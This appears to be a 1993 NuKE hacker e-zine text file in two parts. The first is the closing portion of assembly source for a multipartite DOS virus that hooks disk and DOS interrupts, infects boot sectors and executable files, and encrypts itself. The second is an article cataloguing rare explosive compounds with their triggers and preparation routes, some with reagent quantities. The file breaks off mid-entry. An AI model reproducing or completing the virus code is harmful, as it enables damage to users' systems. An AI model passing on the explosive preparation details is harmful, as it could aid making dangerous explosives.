add ax, word ptr [3]
inc ax
mov word ptr [12h], ax
mov es, ax
xor ax, ax
mov ds, ax
sub word ptr [413h], 3 ; TOM=TOM-3 (not necessary)
push cs
pop ds
xor di, di
mov cx, v_len
cld
rep movsb
gohi: push es
mov ax, offset dms ; dms = Do More Shit
push ax
retf
dms: mov ax, 70h
mov ds, ax
mov si, 1
scan: dec si
lodsw
cmp ax, 1effh ; CS segment override qualifier?
jne scan
mov ax, 2cah ; RETF 2 opcode
cmp [si+4], ax ; (double check)
je right
cmp [si+5],ax
jne scan ; nope, try again
right: lodsw ; get the actual storage address
xchg ax, si
push si
mov di, offset oldvect+4
movsw ; save the original i21 vector
movsw
pop si
mov word ptr [si], offset go_n13
mov word ptr [si+2], cs
do13_2: push cs
pop ds
mov dx, 80h
call eat_hd
jnc go_ints ; hard drive infect fucked up?
xor dx, dx ; yep, infect floppy instead
call eat_floppy
go_ints: call enable
xor ax, ax
mov ds, ax
call capture_21
push cs
pop ds
ret
db '[VCL20]'
write_us: call file_end
xor ax, ax
int 1ah
mov word ptr [key+1], dx
mov di, offset eret
mov cx, wheelchair_len
mov si, offset wheelchair
rep movsb ; move the temporary code
mov byte ptr [go_n13], @JMPS ; bypass new13
call encr_decr
call enable ; and re-enable it
call file_end
ret
; this wheelchair stuff is probably the most dodgey code in the whole virus...
wheelchair: mov byte ptr [eret], @RET ; repair the code
mov ah, 40h
mov cx, v_len
xor dx, dx
pushf
call dword ptr cs:[oldvect+8] ; write encrypted bitch
mov ax, offset encr_decr
call ax ; now decrypt ourselves! [hehe]
ret
wheelchair_len equ $-wheelchair ; length of temp code
capture_13: mov di, offset oldvect+4
mov ax, offset go_n13
capture_13_2: mov si, 13h*4
xor dx, dx
mov ds, dx
call doint
ret
capture_21: mov si, 21h*4
mov di, offset oldvect+8
mov ax, offset new21
call doint
ret
doint: mov cx, 2
d2: xchg [si], ax
stosw
lodsw ; inc si by 2
mov ax, cs
loop d2
ret
i13: pushf ; simulate int 13h
push cs
call bypass
ret
enable: mov byte ptr [go_n13], @JO ; restore jump to new13
ret
save: pop word ptr cs:[temp_jmp] ; preserve registers
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
jmp word ptr cs:[temp_jmp]
restore: pop word ptr cs:[temp_jmp] ; and give them back
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp word ptr cs:[temp_jmp]
gooknuke: push cs
pop ds
push cs
pop es
ret
kmart_kode: jmp short kkk3
dw @tsrchk ; infection marker
kkk3: cli
xor ax, ax
mov ss, ax
mov sp, 7c00h
sti
mov ds, ax
sec: mov cx, 0
drv: mov dx, 0
push dx
ffq: push cx
call chk
jz go69
mov si, 412h
add word ptr [si+1], -3 ; take 3k
lodsb
lodsw
mov cl, 6
shl ax, cl
mov es, ax
xor bx, bx
mov ax, 0204h ; read us into high memory
pop cx
push cx
inc cx
int 13h
go69: push es
mov ax, offset disk_entry
push ax
retf
chk: mov ax, @tsrchk
int 13h
xor bx, @tsrchk
ret
k_len equ $-kmart_kode
disk_entry: call chk
jz de_exit
mov di, offset oldvect+0
mov ax, offset new13_2
call capture_13_2
call capture_13 ; make new13 jump to new13_2
mov si, 21h*4
movsw
movsw
call gooknuke
cmp byte ptr [residence], 1
je de_exit
mov dx, 80h
call eat_hd
de_exit: xor ax, ax
mov es, ax
pop cx
pop dx
mov bx, 7c00h
push es
push bx
mov ax, 0201h
int 13h
retf
old_shit: int 20h
dw 0,0,0
exts db 'COMEXEBINOVLSYS' ; valid extensions
residence db 0 ; 0=from floppy boot
; 1=from MBR
e_end: ; end of encrypted data
strat: push ax
push ds
lds ax, dword ptr cs:[strat_1] ; trick the host driver
db 9ah
strat_1 dd 0
mov ax, word ptr [6]
mov word ptr cs:[strat_1], ax ; update pointer if changed
jmp short sys_return ; (cater for other infections)
intr: push ax
push ds
lds ax, dword ptr cs:[intr_1]
db 9ah
intr_1 dd 0
mov ax, word ptr [8]
mov word ptr cs:[intr_1], ax
sys_return: pop ds
pop ax
retf
go_n13: jo bypass ; bypass new13 while encrypted
jmp new13
bypass: jmp dword ptr cs:[oldvect+4]
move_us: rep movsb ; this must be here in case it's
;int 05
jmp bx ; a very small SYS file, so the
; move doesn't hang the system
encr_decr: push cs
pop ds
call $+3
faewq: pop si
sub si, offset faewq - e_start
mov cx, (e_len)-1
key: mov ax, 0 ; harmless so far
dloop: xor word ptr [si], ax
inc si
inc al ; yeah wreck the key
dec ah
loop dloop
eret: ret ; this code gets changed to
; write the virus to file
v_end:
; wheelchair code goes here
itype equ $+wheelchair_len
infected equ itype + 2
temp_jmp equ infected + 1
oldvect equ temp_jmp + 2 ; +0 old i13
; +4 multipartite handler
; +8 old i21
signature equ oldvect + 12
part_page equ signature + 2 ; part-page at EOF
page_cnt equ part_page + 2 ; count of code pages
hdr_size equ page_cnt + 4 ; size of header in paragraphs
relo_ss equ hdr_size + 6 ; displacement of stack segment (SS)
exe_sp equ relo_ss + 2 ; stack pointer (SP)
chksum equ exe_sp + 2 ;
exe_ip equ chksum + 2 ; instruction pointer (IP)
relo_cs equ exe_ip + 2 ; displacement of code segment (CS)
; 24 bytes
vstack equ relo_cs + 2 ; temp stack for EXE file
handle equ relo_cs + 2 ; save for file handle on Create
filename equ handle + 2 ; filename of target file
boot_sect equ relo_cs + 100 ; as not to overwrite things by accident
oem equ boot_sect + 3
sectsize equ oem + 8
clustsize equ sectsize + 2
ressecs equ clustsize + 1
fatcnt equ ressecs + 2
rootsiz equ fatcnt + 1
totsecs equ rootsiz + 2
media equ totsecs + 2
fatsize equ media + 1
trksecs equ fatsize + 2
headcnt equ trksecs + 2
hidnsecs equ headcnt + 2
v_len equ v_end - v_start
e_len equ e_end - e_start
------------------------------- CUT HERE ---------------------------------------
================================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "Uncommon And Rare Explosives" Nu
Nu KE
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uK Viper E-
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E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% Uncommon And Rare Explosives %
Table Of Contents
~~~~~~~~~~~~~~~~~
Entry Number Chemical Name/Topic
~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~
<EFBFBD> Introduction
<EFBFBD> Technical Notes
1 Acetyl Nitrate
2 Ammonium Picrate
3 Benzoyl Peroxide
4 Chlorine Dioxide
5 Chlorine Heptoxide
6 Chlorine Monoxide
7 Cyanogen Azide
8 Diazoacetic Ester
9 Diazomethane
10 2,4-Dinitroresorcinol
11 Erythrityl Tertranitrate
12 Ethyl Ether
13 Fluorine Nitrate
14 Fluorine Perchlorate
15 Gold, Explosive
16 Hydroxylamine
17 Isopropyl Ether
18 Lead Azide
19 Mannitol Hexanitrate
20 Mercuric Oxycyanide
21 Methyl Nitrate
22 Nitramine, Tetralite, Tetryl.
23 Nitrogen Chloride
24 Nitrogen Selenide
25 Nitroguanidine
26 Pentaerythritol Tetranitrate, PETN
27 Pentrinitrol
28 Pentryl
29 Peracetic Acid
30 Performic Acid
31 Potassium Picrate
32 Propargyl Nitrate
33 n-Propyl Nitrate
34 Silver Perchlorate
35 Tetranitromethane
36 Tetrasilane
37 Tetrasulfur Tetranitride
38 sym-Trinitrobenzene
39 Trinitromethane
40 Uranyl Nitrate
-----------------------------------------------------------------------------
Entry: <20>
% Introduction %
This file contains the entries of uncommon or rare explosives.
By this, it is meant that the following compounds have explosive properties,
but are not used as commercial/military explosives and/or they are generally
unknown to the public. They may not be used as commercial/military
explosives for a number of reason, some of which may be: lack of stability,
cost of materials, difficulty of synthesis, cost of synthesis, toxicity, etc.
The general format of the compound entries will be as follows:
Entry: Entry Number
Name: Common Name
IUPAC Name: IUPAC Designated Name
Condensed Formula: Molecular Formula / Structural Condensed Formula
Physical Properties: Some physical properties of the explosive
Explosive Properties: The explosive properties of the compound
Manufacture: The manufacturing procedure, and lab preparation
procedure (if given)
Use: The use
Toxicity (if known): Toxicity, and side effects if known
NOTE: Most of the following compounds are highly dangerous. Due to this
fact, this article has been written for the knowledge of the
explosives rather than the experience of making them. Thus, the
manufacture of each explosive compound will not be given in a step
by step "how to" fashion, but rather just the bare minimum reactant
chemicals (if given). The author holds no responsibility for the
way any individual, or group uses the following information.
-----------------------------------------------------------------------------
Entry: <20>
% Technical Notes %
Being interested in explosives as I am, and not seeing any
new files on explosives (or new explosives themselves), I decided to
write this file, based on a huge chemistry reference manual containing
more than 10,000 chemical compounds. I hope many others will find it as
useful as I have.
The elimination process for chemicals occured as follows:
(1) Any chemicals that are commonly known to the public were
eliminated. Examples are 2,4,6-trinitrotoluene (TNT),
1,2,3-Propanetriol trinitrate (nitroglycerin), and
cellulose hexanitrate (guncotton).
(2) Any chemicals that were listed or described in any other file
i have seen were eliminated. Examples are ammonium tri-iodide,
acetone peroxide, and mercury fulminate. I gave the picric acid
salts, and a few other explosives, an exception to this rule
because I think they are important explosives.
(3) The chemical has to be explosive by itself, not a redox or other
type of reaction (e.g. dust/particle explosion, or gas/combustible
explosion). This eliminated chemicals such as potassium
permanganate. I gave the chemicals ethyl ether, and isopropyl ether
an exception to this rule as they form an unknown explosive peroxide
readily that conforms to all other rules.
Any compounds that passed the three processes are included in this
file. I regret any N/A's (not available) and will try to find
the missing information in the future.
-----------------------------------------------------------------------------
Entry: 1
Name: Acetyl Nitrate
IUPAC Name: Acetic acid anhydride with nitric acid
Condensed Formula: C2H3NO4 / CH3COONO2
Physical Properties: Fuming, colorless, hygroscopic liquid. bp 22 c.
Explosive Properties: Should be stored in a solution of P2O5 to stabilize
it. Always explodes when heated above 60 c or comes
into contact with HgO. Explosions have also occured
with ground glass surfaces.
Manufacture: Preparation from acetic anhydride and N2O5.
Use: In nitrations to introduce a single nitro group in
an ortho position on an aromatic ring.
Toxicity (if known): Irritant, corrosive.
-----------------------------------------------------------------------------
Entry: 2
Name: Ammonium Picrate
IUPAC Name: 2,4,6,-Trinitrophenol ammonium salt
Condensed Formula: C6H6N4O7
Physical Properties: Bright yellow bitter scales or orthorhombic crystals.
d 1.72. Slightly soluble in alcohol.
Explosive Properties: Explodes easily from heat or shock.
Manufacture: By subsitution of the ammonia group (NH4) on
the hydrogen of the 1-hydroxyl group.
Use: In explosives, fireworks, rocket propellants.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 3
Name: Benzoyl Peroxide
IUPAC Name: Dibenzoyl Peroxide
Condensed Formula: C14H10O4 / (C6H5CO)2O2
Physical Properties: Crystals. mp 103 -106 c. Sparingly soluble in water.
Explosive Properties: May explode when heated.
Manufacture: Prepared by the interaction of benzoyl chloride and a
cooled solution of sodium peroxide.
Use: Oxidizing agent in bleaching oils, flours, etc.
Catalyst in the plastics industry; initiator in
polymerization.
Toxicity (if known): Non toxic in small amounts.
-----------------------------------------------------------------------------
Entry: 4
Name: Chlorine Dioxide
IUPAC Name: Chlorine Peroxide
Condensed Formula: ClO2
Physical Properties: Strong oxidizing yellow to reddish yellow gas at room
temp. Unplesant odor similar to that of chlorine
and reminiscent of that of nitric acid. Unstable in
light; stable in dark if pure. Reacts violently with
organic materials. mp -59 c, bp 11 c.
Explosive Properties: In concentrations in excess of 10% at atmospheric
pressure it is easily detonated by sunlight, heat,
contact with mercury or carbon monoxide.
Manufacture: Prepared from chlorine and sodium chlorite; from
potassium chlorate and sulfuric acid; by passing NO2
through a column of sodium chlorate.
Use: Bleaching cellulose, paper-pulp, flour, leather, fats
and oils, textiles, beeswax; purification of water;
tast and odor control of water; cleaning and
detanning leather; oxidizing agent; bactericide and
antiseptic.
Toxicity (if known): May be highly irritating to skin and mucous membranes
of respiratory tract. May cause pumonary edema.
-----------------------------------------------------------------------------
Entry: 5
Name: Chlorine Heptoxide
IUPAC Name: Dichlorine heptoxide
Condensed Formula: Cl2O7
Physical Properties: Colorless, very volitile oily liquid. mp -91.5 c, bp
-82 c. Slowly hydrolyzed by water forming perchloric
acid.
Explosive Properties: Explodes violently upon concussion or on contact with
a flame or iodine.
Manufacture: Prepared by dehydration of perchloric acid with P2O5.
Use: Catalyst in cellulose esterification.
Toxicity (if known): May be irritating to skin, mucous membranes.
-----------------------------------------------------------------------------
Entry: 6
Name: Chlorine Monoxide
IUPAC Name: Dichlorine monoxide
Condensed Formula: Cl2O
Physical Properties: Yellowish-brown gas. Disagreeable, penetrating odor.
mp -120.6 c, bp 2.2 c. One volume of water will
dissolve more than 100 volumes Cl2O with formation
of HClO.
Explosive Properties: Explodes on contact with organic material. Can also
be cause to explode by a spark or by heating.
Manufacture: Prepared from yellow mercuric oxide and chlorine.
Use: Chlorinating agent.
Toxicity (if known): Intensely irritating to eyes, skin, mucous membranes,
respiratory tract.
-----------------------------------------------------------------------------
Entry: 7
Name: Cyanogen Azide
IUPAC Name: Carbon pernitride
Condensed Formula: CN4 / (N-)=(N+)=N-C<>N
Physical Properties: Clear colorless oily liquid. Half-life of a 27%
solution in acetonitrile (stabalizer) is 15 days
at room temp, more stable at lower temps. Can
be handled relativly safely in solvents.
Explosive Properties: The pure azide detonates violently upon thermal,
electrical or mechanical shock.
Manufacture: Prepared by suspending NaN3 in dry acetonitrile and
distilling cyanogen chloride into the cooled
suspension.
Use: In organic synthesis.
Toxicity (if known): Assumed to be toxic.
-----------------------------------------------------------------------------
Entry: 8
Name: Diazoacetic Ester
IUPAC Name: Ethyl diazoacetate
Condensed Formula: C4H6N2O2 / (N-)=(N+)=CHCOOC2H5
Physical Properties: Yellow oil. Pungent odor. Very volitile. mp -22 c.
Slightly soluble in water.
Explosive Properties: This substance is very explosive. Distillation, even
under reduced pressure, is dangerous. Explodes on
contact with concentrated H2SO4
Manufacture: Prepared by the action of sodium nitrite on glycine
ethyl ester hydrochloride.
Use: N/A
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 9
Name: Diazomethane
IUPAC Name: Azimethylene
Condensed Formula: CH2N2 / CH2=(N+)=(N-)
Physical Properties: Yellow gas. mp -145 c, bp -23 c. Copper powder and
solid calcium chloride causes active decomposition
with the evolution of nitrogen and the formation of
insoluble white flakes of polymethylene (CH2)<29>.
Explosive Properties: The undiluted liquid and concentrated solutions may
explode violently, especially if impurities are
present. Gaseous diazomethane may explode on heating
to 100 c or on rough glass surfaces. Alkali metals
also produce explosions with diazomethane.
Manufacture: Prepared from chloroform and hydrazine by reaction
with potassium hydroxide; from KOH and nitrosomethyl-
urea. These methods yield gaseous diazomethane. The
following procedures yield ether solutions of
diazomethane. From N-nitroso-<2D>-methylaminoisobutyl
methyl ketone in ether and isopropanol by reaction
with sodium isopropoxide or from the same ketone in
ether by reaction with sodium cyclohexoxide. In the
laboratory diazomethane may be prepared most simply
by the action of alkali on the commercially available
N-methyl-N-nitroso-N'-nitroguanidine.
Use: Powerful methylating agent for acidic compounds such
as carboxylic acids, phenols, enols.
Toxicity (if known): Very toxic. Insidious poison (a well ventilated hood
is absolutely necessary), avoid vapor. Strong
irritant. Does not cause discernible reaction at the
time of contact, but later even in minute amounts,
produces an inflammatory reaction. Hypersensitivity
results which makes it impossible to work with
diazomethane without attacks of asthma and associated
symptoms.
-----------------------------------------------------------------------------
Entry: 10
Name: 2,4-Dinitroresorcinol
IUPAC Name: 2,4-Dinitro-1,3-benzenediol
Condensed Formula: C6H4N2O6
Physical Properties: Yellow crystals, mp 146-148 c. Very slightly soluble
in cold water or alcohol.
Explosive Properties: Explodes when stongly heated.
Manufacture: --Can be bought commercially (through chem company).
Use: For dyeing fabrics mordanted with iron a green color.
As a reagent for Co (brown-red ppt) and for Fe (olive
green color).
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 11
Name: Erythrityl Tertranitrate
IUPAC Name: (R*,S*)-1,2,3,4-Butane-tetroltetranitrate
Condensed Formula: C4H6N4O12
Physical Properties: Leaflets from alcohol, mp 61 c. Soluble in alcohol,
ether, glycerol. Insoluble in water.
Explosive Properties: Explodes on percussion.
Manufacture: Made by the nitration of erythritol
Use: Coronary vasodilator.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 12
Name: Ethyl Ether
IUPAC Name: 1,1'-Oxybisethane
Condensed Formula: C4H10O / C2H5OC2H5
Physical Properties: Mobile, very heave flammable liquid. Vapor heavier
than air. Characteristic, sweetish, pungent odor,
more agreeable than chloroform. Burning taste.
mp -116.3 (stable crystals)/-123.3 (metastable
crystals). Air-ether mixture containing more than
1.85 volume-% of ether vapor are explosive hazards.
Explosive Properties: Ethyl Ether is not explosive in itself, but when
dried tends to forms highly explosive percussion,
heat, and friction sensitive peroxides.
Manufacture: Produced on a large scale by dehydration of ethanol
or by hydration of ethylene, both processes being
carried out in the presence of sulfuric acid.
Use: In the manufacture of gunpower. As a primer in
gasoline engines. Solvent for waxes, fats, oils,
perfumes, etc. Easily removable extractant of
tissues.
Toxicity (if known): Mildy irritating to skin, mucous membranes.
Inhalation of high concentrations causes narcosis,
unconsciousness. Death may occur due to respiratory
paralysis.
-----------------------------------------------------------------------------
Entry: 13
Name: Fluorine Nitrate
IUPAC Name: Nitroxy fluoride
Condensed Formula: FNO3 / FONO2
Physical Properties: Colorless gas. Moldy acrid odor. mp -175 c, bp
-45.9 c. Soluble in acetone. Powerful oxidizing
agent.
Explosive Properties: The liquid explodes on slight percussion.
Manufacture: Prepared by the action of fluorine on nitric acid.
Use: Oxidizing agent in rocket propellants.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 14
Name: Fluorine Perchlorate
IUPAC Name: Chlorine tetroxyfluoride
Condensed Formula: ClFO4 / FOCLO3
Physical Properties: Colorless gas. Pungent, acrid odor. mp -167.3 c,
bp -15.9 c.
Explosive Properties: Explodes on the slightest provocation, i.e., on
contact with rought surfaces, dust, grease, rubber,
on melting, distilling, etc.
Manufacture: Prepared by passing fluorine over cold 72% aqueous
perchloric acid in platinum apparatus.
Use: N/A
Toxicity (if known): Attacks the lungs even in traces.
-----------------------------------------------------------------------------
Entry: 15
Name: Gold, Explosive
IUPAC Name: "Fulminating Gold"
Condensed Formula: N/A
Physical Properties: Dark brown powder.
Explosive Properties: Explodes on heating or rubbing to give gold, nitrogen
and ammonia. The exact composition of the compound
is unknown since it is too explosive to be dried.
Therefore the only elements that can be determined
are gold, nitrogen, and chlorine.
Manufacture: Obtained by the action of ammonia on auric chloride
or ammonium chloride on auric oxide.
Use: N/A
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 16
Name: Hydroxylamine
IUPAC Name: Hydroxylamine
Condensed Formula: H3NO / NH2OH
Physical Properties: Unstable large white flakes or needles, mp 33 c, bp
58 c. Very soluble in water, liquid ammonia and
methanol.
Explosive Properties: Detonates in test tube heated with flame.
Manufacture: N/A
Use: As reducing agent in photography; in synthesis and
analytical chemistry; to purify aldehydes and
ketones. As antioxidant for fatty acis and soaps.
As dehairing agent for hides.
Toxicity (if known): Skin irritant. May cause methemoglobinemia,
sulfhemoglobinemia, cyanosis, convulsions,
hypotension and coma.
-----------------------------------------------------------------------------
Entry: 17
Name: Isopropyl Ether
IUPAC Name: 2,2'-Oxybis[propane]
Condensed Formula: C6H14O
Physical Properties: Liquid. mp -60 c, bp 68-69 c.
Explosive Properties: Isopropyl Ether is not explosive in itself, but when
unstabalized with p-benzylaminophenol it tends to
forms highly explosive percussion, heat, and friction
sensitive peroxides.
Manufacture: N/A. Safer to buy through a chemical company.
Use: N/A
Toxicity (if known): Mildy irritating to skin, mucous membranes.
Inhalation of high concentrations causes narcosis,
unconsciousness. Death may occur due to respiratory
paralysis.
-----------------------------------------------------------------------------
Entry: 18
Name: Lead Azide
IUPAC Name: Lead Azide
Condensed Formula: N6Pb / Pb(N3)2
Physical Properties: Needles or white powder. Heat of formation at 25 c:
+110.5 kcal/mol.
Explosive Properties: Explodes at 350 c or on percussion.
Manufacture: Prepared from sodium azide and lead nitrate.
Use: As a primer in explosives.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 19
Name: Mannitol Hexanitrate
IUPAC Name: Mannitol nitrate
Condensed Formula: C6H8N6O18
Physical Properties: Long needles in regular clusters. mp 106-108 c.
Soluble in alcohol, insoluble in water.
Explosive Properties: Explodes on percussion. It is stable at ordinary
tempatures so that it may be used commercially,
but it is distinctly less stable than nitroglycerol
at 75 c or above.
Manufacture: Nitration of mannitol.
Use: Vasodilator.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 20
Name: Mercuric Oxycyanide
IUPAC Name: Mercury cyanide oxide
Condensed Formula: C2Hg2N2O / HgO.Hg(CN)2
Physical Properties: White, orthorhombic crystals or crystal powder.
Explosive Properties: It explodes when touched with a flame or by
percussion.
Manufacture: N/A. Cheaper and easier to buy as a mixture of
33% mercuric oxycyanide and 67% mercuric cyanide from
a chemical company.
Use: Topical antiseptic.
Toxicity (if known): Violent poison.
-----------------------------------------------------------------------------
Entry: 21
Name: Methyl Nitrate
IUPAC Name: Nitric acid methyl ester
Condensed Formula: CH3NO3 / CH3ONO2
Physical Properties: Liquid. Solid at -83 c, bp 64.6 c. Slightly soluble
in water. Soluble in alcohol, ether.
Explosive Properties: When methyl nitrate reaches it boiling point, it
will explode.
Manufacture: Prepared from methanol and nitric acid in the
presence of sulfuric acid.
Use: Has been used as a rocket propellant. Does not need
external oxygen for combustion.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 22
Name: Nitramine, Tetralite, Tetryl.
IUPAC Name: N-Methyl-N,2,4,6-tetranitrobenzenamine
Condensed Formula: C7H5N5O8 / (NO2)3C6H2N(CH3)NO2
Physical Properties: Yellow crystals. Density of 1.57. mp 130-132 c.
Insoluble in water, soluble in alcohol.
Explosive Properties: Explodes at about 180-190 or on detonation.
Manufacture: N/A
Use: As a pH indicator. Also in explosives.
Toxicity (if known): Irritating to skin and mucous membranes. Causes
yellow staining to skin and hair.
-----------------------------------------------------------------------------
Entry: 23
Name: Nitrogen Chloride
IUPAC Name: Nitrogen trichloride
Condensed Formula: Cl3N / NCl3
Physical Properties: Yellow, thick, oily liquid. Pungent odor, evaporates
rapidly in air. Very unstable. Insoluble in water.
Explosive Properties: Explodes when heated to 93 c, subjected to a flash
of direct sunlight or magnesium liquid, sealed in a
glass container at 60 c after 13 seconds, frozen in
liquid air and thawed in vacuo, in contact with
ozone, nitric oxide, grease, and several organic
substances.
Manufacture: Prepared by the action of chlorine gas on ammonium
salts, or by eletrolyzing an acidified solution of
ammonium chloride.
Use: Bleaching of flour (prohibited in the U.S.A.),
wastage control of citrus fruit.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 24
Name: Nitrogen Selenide
IUPAC Name: Selenium nitride
Condensed Formula: N4Se4
Physical Properties: Orange-red , amorphous powder or monoclinic crystals.
density 4.2. Very hygroscopic. Insoluble in water.
Explosive Properties: Explosive. Assumingly when quickly heated or struck.
Manufacture: Prepared by passing dry ammonia over selenium
tetrachloride; by treating a dilute solution of
selenium oxychloride in benzene with dry ammonia and
washing the precipitate with water and potassium
cyanide; by the action of dry ammonia on a dilute
solution of selenium monochloride in carbon
disulfide; by the action of dry ammonia on diethyl
selenite or dimethyl selenite dissolved in benzene
and washing with potassium cyanide; by reacting
anhydrous, liquid ammonia with selenium dioxide.
Use: N/A
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 25
Name: Nitroguanidine
IUPAC Name: Nitroguanidine
Condensed Formula: CH4N4O2 / H2NC(NH)NHNO2
Physical Properties: Needles, prisms from water. One litre of water
dissolves 4.4 grams at 25 c. Slightly soluble in
methanol.
Explosive Properties: Explosive of moderate power. Can only be exploded
with a detonator.
Manufacture: Prepared by the action of concentrated H2SO4 on
guanidine nitrate.
Use: Intermediate in the synthesis of pharmaceuticals.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 26
Name: Pentaerythritol Tetranitrate, PETN
IUPAC Name: 2,2-Bis[(nitrooxy)-methyl]-1,3-propanediol dinitrate
(ester)
Condensed Formula: C5H8N4O12
Physical Properties: Soluble in acetone. Insoluble in water.
Explosive Properties: Explodes on percussion. More sensitive to shock than
TNT.
Manufacture: Prepared by the nitration of pentaerythritol.
Use: Mainly in the manufacture of detonating fuse
(Primacord). Also as a vasodilater.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 27
Name: Pentrinitrol
IUPAC Name: 2,2-Bis[(nitrooxy)methyl]-1,3-propanediol mononitrate
(ester)
Condensed Formula: C5H9N3O10
Physical Properties: Viscous liquid. mp 32 c. Very soluble in ethanol.
Explosive Properties: Explodes on percussion. More sensitive to shock than
TNT.
Manufacture: N/A
Use: Vasodilator.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 28
Name: Pentryl
IUPAC Name: 2-[Nitro(2,4,6-trinitrophenyl)amino]-ethanol nitrate
(ester)
Condensed Formula: C8H6N6O11
Physical Properties: Small, cream colored crystals. mp 129 c.
Explosive Properties: Explodes when heated to 235 c, or upon detonation.
Manufacture: Prepared by the nitration of 2,4-dinitrophenylamino-
ethanol
Use: High explosive. Base charge in detonaters.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 29
Name: Peracetic Acid
IUPAC Name: Ethaneperoxoic acid
Condensed Formula: C2H4O3 / CH3COOOH
Physical Properties: Liquid. Acrid odor. Freely soluble in water.
Stable in a dilute aqueous solution.
Explosive Properties: Explodes violently upon heating to 110 c.
Manufacture: Prepared from acetaldehyde and oxygen in the presence
of cobalt acetate; by the autooxidation of
acetaldehyde. A 50% solution may be obtained from
acetic anhydride, hydrogen peroxide, and sulfuric
acid.
Use: N/A
Toxicity (if known): Strongly irritating to skin and eyes.
-----------------------------------------------------------------------------
Entry: 30
Name: Performic Acid
IUPAC Name: Methaneperoxoic acid
Condensed Formula: CH2O3 / HCOOOH
Physical Properties: The 90% solution is a colorless liquid. Soluble in
chloroform, benzene. Solutions are unstable, gassing
begin noticeable after a few hours.
Explosive Properties: Prone to explode on contact with metals, their
oxides, reducing substances, or on distillation.
Manufacture: A 90% solution is obtained when a mixture of 20 g
formic acid, 25g 100% H2O2, and 6.5 g H2SO4 is
allowed to interact for 2 hours, and is then
distilled.
Use: For oxidation, epoxidation and hydroxylation
reations.
Toxicity (if known): Irritant.
-----------------------------------------------------------------------------
Entry: 31
Name: Potassium Picrate
IUPAC Name: 2,4,6-Trinitrophenol potassium salt
Condensed Formula: C6H2KN3O7
Physical Properties: Yellow, reddish, or greenish lustrous needles.
Soluble in 200 parts cold water, 4 parts boiling
water.
Explosive Properties: Explodes when struck or heated.
Manufacture: Prepared by reacting picric acid with potassium.
Use: N/A
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 32
Name: Propargyl Nitrate
IUPAC Name: 2-Ethyl-2-[(nitrooxy)methyl]-1,3-propanediol
dinitrate (ester)
Condensed Formula: C6H11N3O9
Physical Properties: White powder. mp 51-52 c. Readily soluble in
acetone. Insoluble in water.
Explosive Properties: Lowest explosive temp: 220 c. Explosive but only
slightly sensitive to shock.
Manufacture: N/A
Use: Coronary vasodilator
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 33
Name: n-Propyl Nitrate
IUPAC Name: Nitric acid propyl ester
Condensed Formula: C3H7NO3 / CH3CH2CH2ONO2
Physical Properties: Pale yellow liquid. Sweet sickly odor. bp 110 c.
Azetrope with water containing 75% C3H7NO3.
Explosive Properties: Heating may cause it to explode.
Manufacture: Prepared by the nitration of propanol with nitric
acid, usually in the presence of urea and ammonium
nitrate or sulfuric acid.
Use: Fuel ignition promoter, in rocket fuel formulations.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 34
Name: Silver Perchlorate
IUPAC Name: Silver Perchlorate
Condensed Formula: AgClO4
Physical Properties: Deliquescent crystals. Freely soluble in water.
Explosive Properties: These compounds explode readily when struck.
Manufacture: Prepared from NOClO4 + AgBr.
Use: In the explosives industry.
Toxicity (if known): Irritating to skin, mucous membranes.
-----------------------------------------------------------------------------
Entry: 35
Name: Tetranitromethane
IUPAC Name: Tetranitromethane
Condensed Formula: CN4O8 / C(NO2)4
Physical Properties: Pale yellow liquid. mp +13.8 c. Freely soluble in
alcohol. Insoluble in water.
Explosive Properties: Explosive in admixture with toluene. Highly
explosive in the presence of impurities.
Manufacture: Prepared by the nitration of acetic anhydride with
anhydrous nitric acid.
Use: Oxidizer in rocket propellants. To increase centane
number of diesel fuels. Reagent for detecting the
presence of double bonds in organic compounds. Has
bee proposed as irritant war gas.
Toxicity (if known): Skin and lung irritant.
-----------------------------------------------------------------------------
Entry: 36
Name: Tetrasilane
IUPAC Name: Tetrasilicon
Condensed Formula: H10Si4 / Si4H10
Physical Properties: Liquid. mp approx -90 c, bp 109 c. Decomposes at
room tempature.
Explosive Properties: Explodes on exposure to air.
Manufacture: Prepared by the action of hydrochloric acid on
magnesium silicide.
Use: N/A
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 37
Name: Tetrasulfur Tetranitride
IUPAC Name: Tetrasulfur Tetranitride
Condensed Formula: N4S4
Physical Properties: Orange-red, monoclinic needles. mp 178 c. Insoluble
in cold water. Slightly soluble in benzene.
Explosive Properties: Heating above 185 c may result in deflagration and
explosion. May decompose explosivly on striking
or at tempatures much above 100 c.
Manufacture: Prepared by the interaction of disulfur dichloride
and ammonia.
Use: N/A
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 38
Name: sym-Trinitrobenzene
IUPAC Name: 1,3,5-Trinitrobenzene
Condensed Formula: C6H3N3O6
Physical Properties: mp 122.5 c. Trinitrobenzene is dimorphous, the other
rare form melts at 61 c.
Explosive Properties: Explodes when rapidly heated. Less sensitive to
